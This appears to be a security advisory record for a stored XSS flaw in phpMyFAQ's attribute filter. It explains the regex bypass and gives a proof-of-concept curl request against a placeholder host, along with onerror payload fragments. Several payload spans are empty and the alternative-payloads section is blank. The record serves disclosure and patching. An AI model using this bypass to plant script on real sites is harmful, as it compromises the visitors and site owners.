{"id":"CVE-2026-34729","aliases":["GHSA-cv2g-8cj8-vgc7"],"url":"https://o3.security/vulnerability/CVE-2026-34729","summary":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","details":"### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `\"`, `'`, `&` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters\n3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: '/[a-z]+=\".+\"/iU', subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror='alert(1)'`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n->setQuestion(Filter::removeAttributes(html_entity_decode(\n (string) $question,\n ENT_QUOTES | ENT_HTML5,\n encoding: 'UTF-8',\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n
{{ question | raw }}
\n```\n\n**How the bypass works:**\n\n1. Attacker submits: ``\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `<img src=x onerror=alert(1)>`\n3. After `html_entity_decode()`: ``\n4. `preg_match_all('/[a-z]+=\".+\"/iU', ...)` runs:\n - The regex requires `=\"...\"` (double quotes)\n - `onerror=alert(1)` has NO quotes → NOT matched\n - `src=x` has NO quotes → NOT matched\n - No attributes are found for removal\n5. Output: `` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor ``:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` → preserved\n- `onerror` is NOT in `$keep` → removed via `str_replace()`\n- Output: `` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n -H 'Content-Type: application/json' \\\n -H 'Cookie: PHPSESSID=admin_session' \\\n -d '{\n \"data\": {\n \"pmf-csrf-token\": \"valid_csrf_token\",\n \"question\": \"\",\n \"answer\": \"Test answer\",\n \"lang\": \"en\",\n \"categories[]\": 1,\n \"active\": \"yes\",\n \"tags\": \"test\",\n \"keywords\": \"test\",\n \"author\": \"test\",\n \"email\": \"test@test.com\"\n }\n }'\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\n